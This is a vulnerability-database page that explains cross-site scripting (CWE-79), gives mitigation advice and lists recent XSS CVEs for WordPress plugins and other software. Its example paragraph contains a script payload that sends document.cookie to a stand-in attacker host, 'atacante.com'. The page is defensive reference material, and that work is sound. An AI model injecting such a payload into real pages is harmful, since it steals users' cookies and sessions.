Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-29689MEDIUMA cross-site scripting (XSS) vulnerability in OA System before v2025.01.01 allows attackers to execute arbitrary web scripts or HTML via a cEPSS 0.3%CVE-2025-5336MEDIUMClick to Chat <= 4.22 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via data-no_number ParameterEPSS 0.3%CVE-2024-8488MEDIUMSurvey Maker – Customer Satisfaction Questionnaire, Chat Survey, Calculation Form, Payment Forms <= 4.9.7 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-29690MEDIUMA cross-site scripting (XSS) vulnerability in OA System before v2025.01.01 allows attackers to execute arbitrary web scripts or HTML via a cEPSS 0.3%CVE-2025-31861MEDIUMWordPress Perfect Font Awesome Integration Plugin <= 2.3 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-14298MEDIUMFiboSearch – Ajax Search for WooCommerce <= 1.32.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via thegem_te_search ShortcodeEPSS 0.3%CVE-2025-31850MEDIUMWordPress PDF Generator Addon for Elementor Page Builder plugin <= 2.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46459MEDIUMWordPress Confirm User Registration plugin <= 2.1.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2020-37148MEDIUMP5 FNIP-8x16A/FNIP-4xSH 1.0.20, 1.0.11 - Stored Cross-Site Scripting (XSS)EPSS 0.3%CVE-2026-21331MEDIUMAdobe Connect | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2025-39444MEDIUMWordPress MaxButtons plugin <= 9.8.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-3572MEDIUMiTracker360 <= 2.2.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting via 'itracker_license' Settings FieldEPSS 0.3%CVE-2025-29688MEDIUMA cross-site scripting (XSS) vulnerability in OA System before v2025.01.01 allows attackers to execute arbitrary web scripts or HTML via a cEPSS 0.3%CVE-2025-46477MEDIUMWordPress WP Customize Login Page plugin <= 1.6.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-25079MEDIUMWordPress Simple Select All Text Box plugin <= 3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41745MEDIUMIBM CICS TX Standard cross-site scriptingEPSS 0.3%CVE-2026-1821MEDIUMMicrotango <= 0.9.29 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2025-23747MEDIUMWordPress Awesome Timeline plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-52354MEDIUMWordPress Web Stories Widgets For Elementor plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-14202HIGHCross-Site Request Forgery (CSRF) Leading to Account Takeover via SVG File UploadEPSS 0.3%